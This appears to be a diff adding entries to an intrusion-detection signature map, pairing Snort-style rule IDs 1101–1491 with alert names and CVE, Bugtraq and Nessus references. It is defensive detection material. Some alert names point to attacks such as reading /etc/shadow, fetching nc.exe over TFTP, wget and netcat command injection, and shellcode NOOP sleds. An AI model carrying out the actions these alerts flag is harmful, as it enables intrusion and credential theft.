+1101 || WEB-MISC Webtrends HTTP probe || arachnids,309
+1102 || WEB-MISC nessus 1.X 404 probe || arachnids,301
+1103 || WEB-MISC Netscape admin passwd || bugtraq,1579 || nessus,10468
+1104 || WEB-MISC whisker space splice attack || arachnids,296 || url,www.wiretrip.net/rfp/pages/whitepapers/whiskerids.html
+1105 || WEB-MISC BigBrother access || bugtraq,1455 || cve,2000-0638 || nessus,10460
+1106 || WEB-CGI Poll-it access || bugtraq,1431 || cve,2000-0590 || nessus,10459
+1107 || WEB-MISC ftp.pl access || bugtraq,1471 || cve,2000-0674 || nessus,10467
+1108 || WEB-MISC Tomcat server snoop access || bugtraq,1532 || cve,2000-0760
+1109 || WEB-MISC ROXEN directory list attempt || bugtraq,1510 || cve,2000-0671
+1110 || WEB-MISC apache source.asp file access || bugtraq,1457 || cve,2000-0628 || nessus,10480
+1111 || WEB-MISC Tomcat server exploit access || bugtraq,1548 || cve,2000-0672 || nessus,10477
+1112 || WEB-MISC http directory traversal || arachnids,298
+1113 || WEB-MISC http directory traversal || arachnids,297
+1114 || WEB-MISC prefix-get //
+1115 || WEB-MISC ICQ webserver DOS || cve,1999-0474 || url,www.securiteam.com/exploits/2ZUQ1QAQOG.html
+1116 || WEB-MISC Lotus DelDoc attempt
+1117 || WEB-MISC Lotus EditDoc attempt || url,www.securiteam.com/exploits/5NP080A1RE.html
+1118 || WEB-MISC ls%20-l
+1119 || WEB-MISC mlog.phtml access || bugtraq,713 || cve,1999-0068 || cve,1999-0346
+1120 || WEB-MISC mylog.phtml access || bugtraq,713 || cve,1999-0068 || cve,1999-0346
+1121 || WEB-MISC O'Reilly args.bat access
+1122 || WEB-MISC /etc/passwd
+1123 || WEB-MISC ?PageServices access || bugtraq,1063 || bugtraq,7621 || cve,1999-0269
+1124 || WEB-MISC Ecommerce check.txt access
+1125 || WEB-MISC webcart access || cve,1999-0610 || nessus,10298
+1126 || WEB-MISC AuthChangeUrl access || bugtraq,2110 || cve,1999-0407
+1127 || WEB-MISC convert.bas access || bugtraq,2025 || cve,1999-0175
+1128 || WEB-MISC cpshost.dll access || bugtraq,1811 || bugtraq,4002 || cve,1999-0360
+1129 || WEB-MISC .htaccess access
+1130 || WEB-MISC .wwwacl access
+1131 || WEB-MISC .wwwacl access
+1132 || WEB-MISC Netscape Unixware overflow || arachnids,180 || bugtraq,908 || cve,1999-0744
+1133 || SCAN cybercop os probe || arachnids,145
+1134 || WEB-PHP Phorum admin access || arachnids,205 || bugtraq,2271
+1136 || WEB-MISC cd..
+1137 || WEB-PHP Phorum authentication access || arachnids,206 || bugtraq,2274
+1138 || WEB-MISC Cisco Web DOS attempt || arachnids,275
+1139 || WEB-MISC whisker HEAD/./ || url,www.wiretrip.net/rfp/pages/whitepapers/whiskerids.html
+1140 || WEB-MISC guestbook.pl access || arachnids,228 || bugtraq,776 || cve,1999-0237 || cve,1999-1053 || nessus,10099
+1141 || WEB-MISC handler access || arachnids,235 || bugtraq,380 || cve,1999-0148 || nessus,10100
+1142 || WEB-MISC /.... access
+1143 || WEB-MISC ///cgi-bin access || nessus,11032
+1144 || WEB-MISC /cgi-bin/// access || nessus,11032
+1145 || WEB-MISC /~root access
+1146 || WEB-MISC Ecommerce import.txt access
+1147 || WEB-MISC cat%20 access || bugtraq,374 || cve,1999-0039
+1148 || WEB-MISC Ecommerce import.txt access
+1149 || WEB-CGI count.cgi access || bugtraq,128 || cve,1999-0021 || nessus,10049
+1150 || WEB-MISC Domino catalog.nsf access || nessus,10629
+1151 || WEB-MISC Domino domcfg.nsf access || nessus,10629
+1152 || WEB-MISC Domino domlog.nsf access || nessus,10629
+1153 || WEB-MISC Domino log.nsf access || nessus,10629
+1154 || WEB-MISC Domino names.nsf access || nessus,10629
+1155 || WEB-MISC Ecommerce checks.txt access || bugtraq,2281
+1156 || WEB-MISC apache directory disclosure attempt || bugtraq,2503
+1157 || WEB-MISC Netscape PublishingXpert access || cve,2000-1196 || nessus,10364
+1158 || WEB-MISC windmail.exe access || arachnids,465 || bugtraq,1073 || cve,2000-0242 || nessus,10365
+1159 || WEB-MISC webplus access || bugtraq,1174 || bugtraq,1720 || bugtraq,1722 || bugtraq,1725 || cve,2000-1005
+1160 || WEB-MISC Netscape dir index wp || arachnids,270 || bugtraq,1063 || cve,2000-0236
+1161 || WEB-PHP piranha passwd.php3 access || arachnids,272 || bugtraq,1149 || cve,2000-0322
+1162 || WEB-MISC cart 32 AdminPwd access || bugtraq,1153 || cve,2000-0429
+1163 || WEB-CGI webdist.cgi access || bugtraq,374 || cve,1999-0039 || nessus,10299
+1164 || WEB-MISC shopping cart access || bugtraq,1983 || bugtraq,2049 || cve,1999-0607 || cve,2000-1188
+1165 || WEB-MISC Novell Groupwise gwweb.exe access || bugtraq,879 || cve,1999-1005 || cve,1999-1006 || nessus,10877
+1166 || WEB-MISC ws_ftp.ini access || bugtraq,547 || cve,1999-1078
+1167 || WEB-MISC rpm_query access || bugtraq,1036 || cve,2000-0192 || nessus,10340
+1168 || WEB-MISC mall log order access || bugtraq,2266 || cve,1999-0606
+1171 || WEB-MISC whisker HEAD with large datagram || url,www.wiretrip.net/rfp/pages/whitepapers/whiskerids.html
+1172 || WEB-CGI bigconf.cgi access || bugtraq,778 || cve,1999-1550 || nessus,10027
+1173 || WEB-MISC architext_query.pl access || bugtraq,2248 || cve,1999-0279 || nessus,10064 || url,www2.fedcirc.gov/alerts/advisories/1998/txt/fedcirc.98.03.txt
+1174 || WEB-CGI /cgi-bin/jj access || bugtraq,2002 || cve,1999-0260 || nessus,10131
+1175 || WEB-MISC wwwboard.pl access || bugtraq,1795 || bugtraq,649 || cve,1999-0930 || cve,1999-0954
+1176 || WEB-MISC order.log access
+1177 || WEB-MISC Netscape Enterprise Server directory view || bugtraq,1063
+1178 || WEB-PHP Phorum read access || arachnids,208
+1179 || WEB-PHP Phorum violation access || arachnids,209 || bugtraq,2272
+1180 || WEB-MISC get32.exe access || arachnids,258 || bugtraq,1485 || bugtraq,770 || cve,1999-0885 || nessus,10011
+1181 || WEB-MISC Annex Terminal DOS attempt || arachnids,260 || cve,1999-1070 || nessus,10017
+1182 || WEB-MISC cgitest.exe attempt || arachnids,265 || bugtraq,1313 || bugtraq,3885 || cve,2000-0521 || cve,2002-0128 || nessus,10040 || nessus,10623
+1183 || WEB-MISC Netscape Enterprise Server directory view || bugtraq,1063 || cve,2000-0236 || nessus,10352
+1184 || WEB-MISC Netscape Enterprise Server directory view || bugtraq,1063 || cve,2000-0236
+1185 || WEB-CGI bizdbsearch attempt || bugtraq,1104 || cve,2000-0287 || nessus,10383
+1186 || WEB-MISC Netscape Enterprise Server directory view || bugtraq,1063 || cve,2000-0236
+1187 || WEB-MISC SalesLogix Eviewer web command attempt || bugtraq,1078 || bugtraq,1089 || cve,2000-0278 || cve,2000-0289
+1188 || WEB-MISC Netscape Enterprise Server directory view || bugtraq,1063 || cve,2000-0236
+1189 || WEB-MISC Netscape Enterprise Server directory view || bugtraq,1063 || cve,2000-0236
+1190 || WEB-MISC Netscape Enterprise Server directory view || bugtraq,1063 || cve,2000-0236
+1191 || WEB-MISC Netscape Enterprise Server directory view || bugtraq,1063 || cve,2000-0236
+1192 || WEB-MISC Trend Micro OfficeScan access || bugtraq,1057
+1193 || WEB-MISC oracle web arbitrary command execution attempt || bugtraq,1053 || cve,2000-0169 || nessus,10348
+1194 || WEB-CGI sojourn.cgi File attempt || bugtraq,1052 || cve,2000-0180 || nessus,10349
+1195 || WEB-CGI sojourn.cgi access || bugtraq,1052 || cve,2000-0180 || nessus,10349
+1196 || WEB-CGI SGI InfoSearch fname attempt || arachnids,290 || bugtraq,1031 || cve,2000-0207
+1197 || WEB-PHP Phorum code access || arachnids,207
+1198 || WEB-MISC Netscape Enterprise Server directory view || bugtraq,1063 || cve,2000-0236
+1199 || WEB-MISC Compaq Insight directory traversal || arachnids,244 || bugtraq,282 || cve,1999-0771
+1200 || ATTACK-RESPONSES Invalid URL || url,www.microsoft.com/technet/security/bulletin/MS00-063.mspx
+1201 || ATTACK-RESPONSES 403 Forbidden
+1202 || WEB-MISC search.vts access || bugtraq,162
+1204 || WEB-CGI ax-admin.cgi access
+1205 || WEB-CGI axs.cgi access
+1206 || WEB-CGI cachemgr.cgi access || bugtraq,2059 || cve,1999-0710 || nessus,10034
+1207 || WEB-MISC htgrep access || cve,2000-0832
+1208 || WEB-CGI responder.cgi access || bugtraq,3155
+1209 || WEB-MISC .nsconfig access || url,www.osvdb.org/5709
+1211 || WEB-CGI web-map.cgi access
+1212 || WEB-MISC Admin_files access
+1213 || WEB-MISC backup access
+1214 || WEB-MISC intranet access || nessus,11626
+1215 || WEB-CGI ministats admin access
+1216 || WEB-MISC filemail access || cve,1999-1154 || cve,1999-1155 || url,www.securityfocus.com/archive/1/11175
+1217 || WEB-MISC plusmail access || bugtraq,2653 || cve,2000-0074 || nessus,10181
+1218 || WEB-MISC adminlogin access || bugtraq,1164 || bugtraq,1175 || nessus,11748
+1219 || WEB-CGI dfire.cgi access || bugtraq,564 || cve,1999-0913
+1220 || WEB-MISC ultraboard access || bugtraq,1164 || bugtraq,1175 || nessus,11748
+1221 || WEB-MISC musicat empower access || bugtraq,2374 || cve,2001-0224 || nessus,10609
+1222 || WEB-CGI pals-cgi arbitrary file access attempt || bugtraq,2372 || cve,2001-0217 || nessus,10611
+1224 || WEB-MISC ROADS search.pl attempt || bugtraq,2371 || cve,2001-0215 || nessus,10627
+1225 || X11 MIT Magic Cookie detected || arachnids,396
+1226 || X11 xopen || arachnids,395
+1227 || X11 outbound client connection detected || arachnids,126
+1228 || SCAN nmap XMAS || arachnids,30
+1229 || FTP CWD ... || bugtraq,9237
+1230 || WEB-MISC VirusWall FtpSave access || bugtraq,2808 || cve,2001-0432 || nessus,10733
+1231 || WEB-MISC VirusWall catinfo access || bugtraq,2579 || bugtraq,2808 || cve,2001-0432 || nessus,10650
+1232 || WEB-MISC VirusWall catinfo access || bugtraq,2579 || bugtraq,2808 || cve,2001-0432 || nessus,10650
+1233 || WEB-CLIENT Outlook EML access || nessus,10767
+1234 || WEB-MISC VirusWall FtpSaveCSP access || bugtraq,2808 || cve,2001-0432 || nessus,10733
+1235 || WEB-MISC VirusWall FtpSaveCVP access || bugtraq,2808 || cve,2001-0432 || nessus,10733
+1236 || WEB-MISC Tomcat sourecode view
+1237 || WEB-MISC Tomcat sourecode view
+1238 || WEB-MISC Tomcat sourecode view
+1239 || NETBIOS RFParalyze Attempt || bugtraq,1163 || cve,2000-0347 || nessus,10392
+1240 || EXPLOIT MDBMS overflow || bugtraq,1252 || cve,2000-0446
+1241 || WEB-MISC SWEditServlet directory traversal attempt || bugtraq,2868 || cve,2001-0555
+1242 || WEB-IIS ISAPI .ida access || arachnids,552 || bugtraq,1065 || cve,2000-0071
+1243 || WEB-IIS ISAPI .ida attempt || arachnids,552 || bugtraq,1065 || cve,2000-0071
+1244 || WEB-IIS ISAPI .idq attempt || arachnids,553 || bugtraq,1065 || bugtraq,968 || cve,2000-0071 || cve,2000-0126 || nessus,10115
+1245 || WEB-IIS ISAPI .idq access || arachnids,553 || bugtraq,1065 || cve,2000-0071
+1246 || WEB-FRONTPAGE rad overflow attempt || arachnids,555 || bugtraq,2906 || cve,2001-0341 || url,www.microsoft.com/technet/security/bulletin/MS01-035.mspx
+1247 || WEB-FRONTPAGE rad overflow attempt || bugtraq,2906 || cve,2001-0341
+1248 || WEB-FRONTPAGE rad fp30reg.dll access || arachnids,555 || bugtraq,2906 || cve,2001-0341 || url,www.microsoft.com/technet/security/bulletin/MS01-035.mspx
+1249 || WEB-FRONTPAGE frontpage rad fp4areg.dll access || bugtraq,2906 || cve,2001-0341
+1250 || WEB-MISC Cisco IOS HTTP configuration attempt || bugtraq,2936 || cve,2001-0537
+1251 || INFO TELNET Bad Login
+1252 || TELNET bsd telnet exploit response || bugtraq,3064 || cve,2001-0554 || nessus,10709
+1253 || TELNET bsd exploit client finishing || bugtraq,3064 || cve,2001-0554 || nessus,10709
+1254 || WEB-PHP PHPLIB remote command attempt || bugtraq,3079 || cve,2001-1370
+1255 || WEB-PHP PHPLIB remote command attempt || bugtraq,3079 || cve,2001-1370
+1256 || WEB-IIS CodeRed v2 root.exe access || url,www.cert.org/advisories/CA-2001-19.html
+1257 || DOS Winnuke attack || bugtraq,2010 || cve,1999-0153
+1258 || WEB-MISC HP OpenView Manager DOS || bugtraq,2845 || cve,2001-0552
+1259 || WEB-MISC SWEditServlet access || bugtraq,2868
+1260 || WEB-MISC long basic authorization string || bugtraq,3230 || cve,2001-1067
+1261 || EXPLOIT AIX pdnsd overflow || bugtraq,3237 || bugtraq,590 || cve,1999-0745
+1262 || RPC portmap admind request TCP || arachnids,18
+1263 || RPC portmap amountd request TCP || arachnids,19
+1264 || RPC portmap bootparam request TCP || arachnids,16 || cve,1999-0647
+1265 || RPC portmap cmsd request TCP || arachnids,17
+1266 || RPC portmap mountd request TCP || arachnids,13
+1267 || RPC portmap nisd request TCP || arachnids,21
+1268 || RPC portmap pcnfsd request TCP || arachnids,22
+1269 || RPC portmap rexd request TCP || arachnids,23
+1270 || RPC portmap rstatd request TCP || arachnids,10
+1271 || RPC portmap rusers request TCP || arachnids,133 || cve,1999-0626
+1272 || RPC portmap sadmind request TCP || arachnids,20
+1273 || RPC portmap selection_svc request TCP || arachnids,25
+1274 || RPC portmap ttdbserv request TCP || arachnids,24 || bugtraq,122 || bugtraq,3382 || cve,1999-0003 || cve,1999-0687 || cve,1999-1075 || cve,2001-0717 || url,www.cert.org/advisories/CA-2001-05.html
+1275 || RPC portmap yppasswd request TCP || arachnids,14
+1276 || RPC portmap ypserv request TCP || arachnids,12 || bugtraq,5914 || bugtraq,6016 || cve,2000-1042 || cve,2000-1043 || cve,2002-1232
+1277 || RPC portmap ypupdated request UDP || arachnids,125
+1278 || RPC rstatd query || arachnids,9
+1279 || RPC portmap snmpXdmi request UDP || bugtraq,2417 || cve,2001-0236 || url,www.cert.org/advisories/CA-2001-05.html
+1280 || RPC portmap listing UDP 111 || arachnids,428
+1281 || RPC portmap listing UDP 32771 || arachnids,429
+1282 || RPC EXPLOIT statdx || arachnids,442
+1283 || WEB-IIS outlook web dos || bugtraq,3223
+1284 || WEB-CLIENT readme.eml download attempt || url,www.cert.org/advisories/CA-2001-26.html
+1285 || WEB-IIS msdac access || nessus,11032
+1286 || WEB-IIS _mem_bin access || nessus,11032
+1287 || WEB-IIS scripts access
+1288 || WEB-FRONTPAGE /_vti_bin/ access || nessus,11032
+1289 || TFTP GET Admin.dll || url,www.cert.org/advisories/CA-2001-26.html
+1290 || WEB-CLIENT readme.eml autoload attempt || url,www.cert.org/advisories/CA-2001-26.html
+1291 || WEB-MISC sml3com access || bugtraq,2721 || cve,2001-0740
+1292 || ATTACK-RESPONSES directory listing
+1293 || NETBIOS nimda .eml || url,www.f-secure.com/v-descs/nimda.shtml
+1294 || NETBIOS nimda .nws || url,www.f-secure.com/v-descs/nimda.shtml
+1295 || NETBIOS nimda RICHED20.DLL || url,www.f-secure.com/v-descs/nimda.shtml
+1296 || RPC portmap request yppasswdd || bugtraq,2763
+1297 || RPC portmap request yppasswdd || bugtraq,2763
+1298 || RPC portmap tooltalk request TCP || bugtraq,3382 || cve,1999-0003 || cve,1999-0687 || cve,1999-1075 || cve,2001-0717 || url,www.cert.org/advisories/CA-2001-05.html
+1299 || RPC portmap tooltalk request UDP || bugtraq,3382 || cve,1999-0003 || cve,1999-0687 || cve,1999-1075 || cve,2001-0717 || url,www.cert.org/advisories/CA-2001-05.html
+1300 || WEB-PHP admin.php file upload attempt || bugtraq,3361 || cve,2001-1032
+1301 || WEB-PHP admin.php access || bugtraq,3361 || bugtraq,7532 || bugtraq,9270 || cve,2001-1032
+1302 || WEB-MISC console.exe access || bugtraq,3375 || cve,2001-1252
+1303 || WEB-MISC cs.exe access || bugtraq,3375 || cve,2001-1252
+1304 || WEB-CGI txt2html.cgi access
+1305 || WEB-CGI txt2html.cgi directory traversal attempt
+1306 || WEB-CGI store.cgi product directory traversal attempt || bugtraq,2385 || cve,2001-0305
+1307 || WEB-CGI store.cgi access || bugtraq,2385 || cve,2001-0305 || nessus,10639
+1308 || WEB-CGI sendmessage.cgi access || bugtraq,3673 || cve,2001-1100
+1309 || WEB-CGI zsh access || cve,1999-0509 || url,www.cert.org/advisories/CA-1996-11.html
+1321 || BAD-TRAFFIC 0 ttl || url,support.microsoft.com/default.aspx?scid=kb\ || url,www.isi.edu/in-notes/rfc1122.txt
+1322 || BAD-TRAFFIC bad frag bits
+1323 || EXPLOIT rwhoisd format string attempt || bugtraq,3474 || cve,2001-0838
+1324 || EXPLOIT ssh CRC32 overflow /bin/sh || bugtraq,2347 || cve,2001-0144 || cve,2001-0572
+1325 || EXPLOIT ssh CRC32 overflow filler || bugtraq,2347 || cve,2001-0144 || cve,2001-0572
+1326 || EXPLOIT ssh CRC32 overflow NOOP || bugtraq,2347 || cve,2001-0144 || cve,2001-0572
+1327 || EXPLOIT ssh CRC32 overflow || bugtraq,2347 || cve,2001-0144 || cve,2001-0572
+1328 || WEB-ATTACKS /bin/ps command attempt
+1329 || WEB-ATTACKS ps command attempt
+1330 || WEB-ATTACKS wget command attempt || bugtraq,10361
+1331 || WEB-ATTACKS uname -a command attempt
+1332 || WEB-ATTACKS /usr/bin/id command attempt
+1333 || WEB-ATTACKS id command attempt
+1334 || WEB-ATTACKS echo command attempt
+1335 || WEB-ATTACKS kill command attempt
+1336 || WEB-ATTACKS chmod command attempt
+1337 || WEB-ATTACKS chgrp command attempt
+1338 || WEB-ATTACKS chown command attempt
+1339 || WEB-ATTACKS chsh command attempt
+1340 || WEB-ATTACKS tftp command attempt
+1341 || WEB-ATTACKS /usr/bin/gcc command attempt
+1342 || WEB-ATTACKS gcc command attempt
+1343 || WEB-ATTACKS /usr/bin/cc command attempt
+1344 || WEB-ATTACKS cc command attempt
+1345 || WEB-ATTACKS /usr/bin/cpp command attempt
+1346 || WEB-ATTACKS cpp command attempt
+1347 || WEB-ATTACKS /usr/bin/g++ command attempt
+1348 || WEB-ATTACKS g++ command attempt
+1349 || WEB-ATTACKS bin/python access attempt
+1350 || WEB-ATTACKS python access attempt
+1351 || WEB-ATTACKS bin/tclsh execution attempt
+1352 || WEB-ATTACKS tclsh execution attempt
+1353 || WEB-ATTACKS bin/nasm command attempt
+1354 || WEB-ATTACKS nasm command attempt
+1355 || WEB-ATTACKS /usr/bin/perl execution attempt
+1356 || WEB-ATTACKS perl execution attempt
+1357 || WEB-ATTACKS nt admin addition attempt
+1358 || WEB-ATTACKS traceroute command attempt
+1359 || WEB-ATTACKS ping command attempt
+1360 || WEB-ATTACKS netcat command attempt
+1361 || WEB-ATTACKS nmap command attempt
+1362 || WEB-ATTACKS xterm command attempt
+1363 || WEB-ATTACKS X application to remote host attempt
+1364 || WEB-ATTACKS lsof command attempt
+1365 || WEB-ATTACKS rm command attempt
+1366 || WEB-ATTACKS mail command attempt
+1367 || WEB-ATTACKS mail command attempt
+1368 || WEB-ATTACKS /bin/ls| command attempt
+1369 || WEB-ATTACKS /bin/ls command attempt
+1370 || WEB-ATTACKS /etc/inetd.conf access
+1371 || WEB-ATTACKS /etc/motd access
+1372 || WEB-ATTACKS /etc/shadow access
+1373 || WEB-ATTACKS conf/httpd.conf attempt
+1374 || WEB-MISC .htgroup access
+1375 || WEB-MISC sadmind worm access || url,www.cert.org/advisories/CA-2001-11.html
+1376 || WEB-MISC jrun directory browse attempt || bugtraq,3592
+1377 || FTP wu-ftp bad file completion attempt [ || bugtraq,3581 || bugtraq,3707 || cve,2001-0550 || cve,2001-0886
+1378 || FTP wu-ftp bad file completion attempt { || bugtraq,3581 || bugtraq,3707 || cve,2001-0550 || cve,2001-0886
+1379 || FTP STAT overflow attempt || bugtraq,3507 || bugtraq,8542 || cve,2001-0325 || cve,2001-1021 || url,labs.defcom.com/adv/2001/def-2001-31.txt
+1380 || WEB-IIS cross-site scripting attempt || bugtraq,119 || bugtraq,1594 || bugtraq,1595 || cve,2000-0746 || cve,2000-1104 || nessus,10572
+1381 || WEB-MISC Trend Micro OfficeScan attempt || bugtraq,1057
+1382 || EXPLOIT CHAT IRC Ettercap parse overflow attempt || url,www.bugtraq.org/dev/GOBBLES-12.txt
+1383 || P2P Fastrack kazaa/morpheus GET request || url,www.kazaa.com || url,www.musiccity.com/technology.htm
+1384 || MISC UPnP malformed advertisement || bugtraq,3723 || cve,2001-0876 || cve,2001-0877 || url,www.microsoft.com/technet/security/bulletin/MS01-059.mspx
+1385 || WEB-MISC mod-plsql administration access || bugtraq,3726 || bugtraq,3727 || cve,2001-1216 || cve,2001-1217 || nessus,10849
+1386 || MS-SQL/SMB raiserror possible buffer overflow || bugtraq,3733 || cve,2001-0542 || url,www.microsoft.com/technet/security/bulletin/MS01-060.mspx
+1387 || MS-SQL raiserror possible buffer overflow || bugtraq,3733 || cve,2001-0542 || nessus,11217
+1388 || MISC UPnP Location overflow || bugtraq,3723 || cve,2001-0876
+1389 || WEB-MISC viewcode.jse access || bugtraq,3715
+1390 || SHELLCODE x86 inc ebx NOOP
+1391 || WEB-MISC Phorecast remote code execution attempt || bugtraq,3388 || cve,2001-1049
+1392 || WEB-CGI lastlines.cgi access || bugtraq,3754 || bugtraq,3755 || cve,2001-1205 || cve,2001-1206
+1393 || MISC AIM AddGame attempt || bugtraq,3769 || cve,2002-0005 || url,www.w00w00.org/files/w00aimexp/
+1394 || SHELLCODE x86 NOOP
+1395 || WEB-CGI zml.cgi attempt || bugtraq,3759 || cve,2001-1209
+1396 || WEB-CGI zml.cgi access || bugtraq,3759 || cve,2001-1209
+1397 || WEB-CGI wayboard attempt || bugtraq,2370 || cve,2001-0214
+1398 || EXPLOIT CDE dtspcd exploit attempt || bugtraq,3517 || cve,2001-0803 || url,www.cert.org/advisories/CA-2002-01.html
+1399 || WEB-PHP PHP-Nuke remote file include attempt || bugtraq,3889 || cve,2002-0206
+1400 || WEB-IIS /scripts/samples/ access || nessus,10370
+1401 || WEB-IIS /msadc/samples/ access || bugtraq,167 || cve,1999-0736 || nessus,1007
+1402 || WEB-IIS iissamples access || nessus,11032
+1403 || WEB-MISC viewcode access || cve,1999-0737 || nessus,10576 || nessus,12048
+1404 || WEB-MISC showcode access || bugtraq,167 || cve,1999-0736 || nessus,10007
+1405 || WEB-CGI AHG search.cgi access || bugtraq,3985
+1406 || WEB-CGI agora.cgi access || bugtraq,3702 || bugtraq,3976 || cve,2001-1199 || cve,2002-0215 || nessus,10836
+1407 || WEB-PHP smssend.php access || bugtraq,3982 || cve,2002-0220
+1408 || DOS MSDTC attempt || bugtraq,4006 || cve,2002-0224 || nessus,10939
+1409 || SNMP community string buffer overflow attempt || bugtraq,4088 || bugtraq,4089 || bugtraq,4132 || cve,2002-0012 || cve,2002-0013 || url,www.cert.org/advisories/CA-2002-03.html
+1410 || WEB-CGI dcboard.cgi access || bugtraq,2728 || cve,2001-0527 || nessus,10583
+1411 || SNMP public access udp || bugtraq,2112 || bugtraq,4088 || bugtraq,4089 || cve,1999-0517 || cve,2002-0012 || cve,2002-0013
+1412 || SNMP public access tcp || bugtraq,2112 || bugtraq,4088 || bugtraq,4089 || bugtraq,7212 || cve,1999-0517 || cve,2002-0012 || cve,2002-0013
+1413 || SNMP private access udp || bugtraq,4088 || bugtraq,4089 || bugtraq,4132 || bugtraq,7212 || cve,2002-0012 || cve,2002-0013
+1414 || SNMP private access tcp || bugtraq,4088 || bugtraq,4089 || bugtraq,4132 || cve,2002-0012 || cve,2002-0013
+1415 || SNMP Broadcast request || bugtraq,4088 || bugtraq,4089 || bugtraq,4132 || cve,2002-0012 || cve,2002-0013
+1416 || SNMP broadcast trap || bugtraq,4088 || bugtraq,4089 || bugtraq,4132 || cve,2002-0012 || cve,2002-0013
+1417 || SNMP request udp || bugtraq,4088 || bugtraq,4089 || bugtraq,4132 || cve,2002-0012 || cve,2002-0013
+1418 || SNMP request tcp || bugtraq,4088 || bugtraq,4089 || bugtraq,4132 || cve,2002-0012 || cve,2002-0013
+1419 || SNMP trap udp || bugtraq,4088 || bugtraq,4089 || bugtraq,4132 || cve,2002-0012 || cve,2002-0013
+1420 || SNMP trap tcp || bugtraq,4088 || bugtraq,4089 || bugtraq,4132 || cve,2002-0012 || cve,2002-0013
+1421 || SNMP AgentX/tcp request || bugtraq,4088 || bugtraq,4089 || bugtraq,4132 || cve,2002-0012 || cve,2002-0013
+1422 || SNMP community string buffer overflow attempt with evasion || bugtraq,4088 || bugtraq,4089 || bugtraq,4132 || cve,2002-0012 || cve,2002-0013 || url,www.cert.org/advisories/CA-2002-03.html
+1423 || WEB-PHP content-disposition memchr overflow || bugtraq,4183 || cve,2002-0081 || nessus,10867
+1424 || SHELLCODE x86 0xEB0C NOOP
+1425 || WEB-PHP content-disposition || bugtraq,4183 || cve,2002-0081 || nessus,10867
+1426 || SNMP PROTOS test-suite-req-app attempt || url,www.ee.oulu.fi/research/ouspg/protos/testing/c06/snmpv1/index.html
+1427 || SNMP PROTOS test-suite-trap-app attempt || url,www.ee.oulu.fi/research/ouspg/protos/testing/c06/snmpv1/index.html
+1428 || MULTIMEDIA audio galaxy keepalive
+1429 || POLICY poll.gotomypc.com access || url,www.gotomypc.com/help2.tmpl
+1430 || TELNET Solaris memory mismanagement exploit attempt
+1431 || BAD-TRAFFIC syn to multicast address
+1432 || P2P GNUTella client request
+1433 || WEB-MISC .history access
+1434 || WEB-MISC .bash_history access || bugtraq,337 || cve,1999-0408
+1435 || DNS named authors attempt || arachnids,480 || nessus,10728
+1436 || MULTIMEDIA Quicktime User Agent access
+1437 || MULTIMEDIA Windows Media download
+1438 || MULTIMEDIA Windows Media Video download
+1439 || MULTIMEDIA Shoutcast playlist redirection
+1440 || MULTIMEDIA Icecast playlist redirection
+1441 || TFTP GET nc.exe
+1442 || TFTP GET shadow
+1443 || TFTP GET passwd
+1444 || TFTP Get
+1445 || POLICY FTP file_id.diz access possible warez site
+1446 || SMTP vrfy root
+1447 || MISC MS Terminal server request RDP || bugtraq,3099 || cve,2001-0540 || url,www.microsoft.com/technet/security/bulletin/MS01-040.mspx
+1448 || MISC MS Terminal server request || bugtraq,3099 || cve,2001-0540 || url,www.microsoft.com/technet/security/bulletin/MS01-040.mspx
+1449 || POLICY FTP anonymous ftp login attempt
+1450 || SMTP expn *@ || cve,1999-1200
+1451 || WEB-CGI NPH-publish access || bugtraq,2563 || cve,2001-0400
+1452 || WEB-CGI args.cmd access || cve,1999-1180 || nessus,11465
+1453 || WEB-CGI AT-generated.cgi access || cve,1999-1072
+1454 || WEB-CGI wwwwais access || cve,2001-0223 || nessus,10597
+1455 || WEB-CGI calendar.pl access || bugtraq,1215 || cve,2000-0432
+1456 || WEB-CGI calender_admin.pl access || cve,2000-0432
+1457 || WEB-CGI user_update_admin.pl access || bugtraq,1486 || cve,2000-0627
+1458 || WEB-CGI user_update_passwd.pl access || bugtraq,1486 || cve,2000-0627
+1459 || WEB-CGI bb-histlog.sh access || bugtraq,142 || cve,1999-1462 || nessus,10025
+1460 || WEB-CGI bb-histsvc.sh access || bugtraq,142 || cve,1999-1462
+1461 || WEB-CGI bb-rep.sh access || bugtraq,142 || cve,1999-1462
+1462 || WEB-CGI bb-replog.sh access || bugtraq,142 || cve,1999-1462
+1463 || CHAT IRC message
+1464 || ATTACK-RESPONSES oracle one hour install || nessus,10737
+1465 || WEB-CGI auktion.cgi access || bugtraq,2367 || cve,2001-0212 || nessus,10638
+1466 || WEB-CGI cgiforum.pl access || bugtraq,1963 || cve,2000-1171 || nessus,10552
+1467 || WEB-CGI directorypro.cgi access || bugtraq,2793 || cve,2001-0780
+1468 || WEB-CGI Web Shopper shopper.cgi attempt || bugtraq,1776 || cve,2000-0922
+1469 || WEB-CGI Web Shopper shopper.cgi access || bugtraq,1776 || cve,2000-0922
+1470 || WEB-CGI listrec.pl access || bugtraq,3328 || cve,2001-0997
+1471 || WEB-CGI mailnews.cgi access || bugtraq,2391 || cve,2001-0271 || nessus,10641
+1472 || WEB-CGI book.cgi access || bugtraq,3178 || cve,2001-1114 || nessus,10721
+1473 || WEB-CGI newsdesk.cgi access || bugtraq,2172 || cve,2001-0232
+1474 || WEB-CGI cal_make.pl access || bugtraq,2663 || cve,2001-0463 || nessus,10664
+1475 || WEB-CGI mailit.pl access || nessus,10417
+1476 || WEB-CGI sdbsearch.cgi access || bugtraq,1658 || cve,2001-1130 || nessus,10503 || nessus,10720
+1477 || WEB-CGI swc attempt
+1478 || WEB-CGI swc access || nessus,10493
+1479 || WEB-CGI ttawebtop.cgi arbitrary file attempt || bugtraq,2890 || cve,2001-0805 || nessus,10696
+1480 || WEB-CGI ttawebtop.cgi access || bugtraq,2890 || cve,2001-0805 || nessus,10696
+1481 || WEB-CGI upload.cgi access || nessus,10290
+1482 || WEB-CGI view_source access || bugtraq,2251 || cve,1999-0174 || nessus,10294
+1483 || WEB-CGI ustorekeeper.pl access || cve,2001-0466 || nessus,10645
+1484 || WEB-IIS /isapi/tstisapi.dll access || bugtraq,2381 || cve,2001-0302
+1485 || WEB-IIS mkilog.exe access || nessus,10359 || url,www.osvdb.org/274
+1486 || WEB-IIS ctss.idc access || nessus,10359
+1487 || WEB-IIS /iisadmpwd/aexp2.htr access || bugtraq,2110 || bugtraq,4236 || cve,1999-0407 || cve,2002-0421 || nessus,10371
+1488 || WEB-CGI store.cgi directory traversal attempt || bugtraq,2385 || cve,2001-0305 || nessus,10639
+1489 || WEB-MISC /~nobody access || nessus,10484
+1490 || WEB-PHP Phorum /support/common.php attempt || bugtraq,1997
+1491 || WEB-PHP Phorum /support/common.php access || bugtraq,1997 || bugtraq,9361
